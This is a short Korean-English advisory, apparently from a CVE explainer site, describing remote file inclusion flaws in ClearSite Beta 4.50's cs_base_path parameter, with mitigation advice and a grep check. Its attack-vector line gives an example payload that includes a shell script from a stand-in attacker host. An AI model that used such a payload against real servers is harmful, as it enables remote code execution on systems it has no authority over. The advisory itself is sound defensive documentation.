🇰🇷 한글 설명
ClearSite Beta 4.50 및 기타 버전의 cs_base_path 매개변수를 통한 원격 파일 포함(RFI) 취약점입니다. 공격자가 docs.php와 include/admin/device_admin.php 파일에서 악의적인 원격 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
ClearSite 웹 애플리케이션의 특정 파일들이 인터넷에서 악성 파일을 읽도록 속을 수 있습니다. 공격자가 악의적인 코드를 포함한 원격 파일을 지정하면 서버에서 그것이 실행됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the cs_base_path parameter to (1) docs.php and (2) include/admin/device_admin.php. NOTE: the header.php vector is already covered by CVE-2009-3306. NOTE: this issue may be due to a variable extraction error.
📍 영향받는 시스템
ClearSite Beta 4.50 및 기타 영향받는 버전
⚔️ 공격 벡터
cs_base_path 매개변수에 원격 파일 URL을 주입하여 RFI 공격 수행 (예: ?cs_base_path=http://attacker.com/shell.php)
🛡️ 대응 방법
ClearSite를 최신 패치가 적용된 버전으로 업데이트하거나 입력 검증을 강화하여 상대 경로만 허용하도록 제한
🔧 검증 코드
cs_base_path가 검사 없이 사용되면 취약점이 존재하고, 실제 파일 경로만 허용하면 보호된 상태입니다.
grep -r 'cs_base_path' /var/www/html/ 2>/dev/null && echo 'Found - Check if input is validated'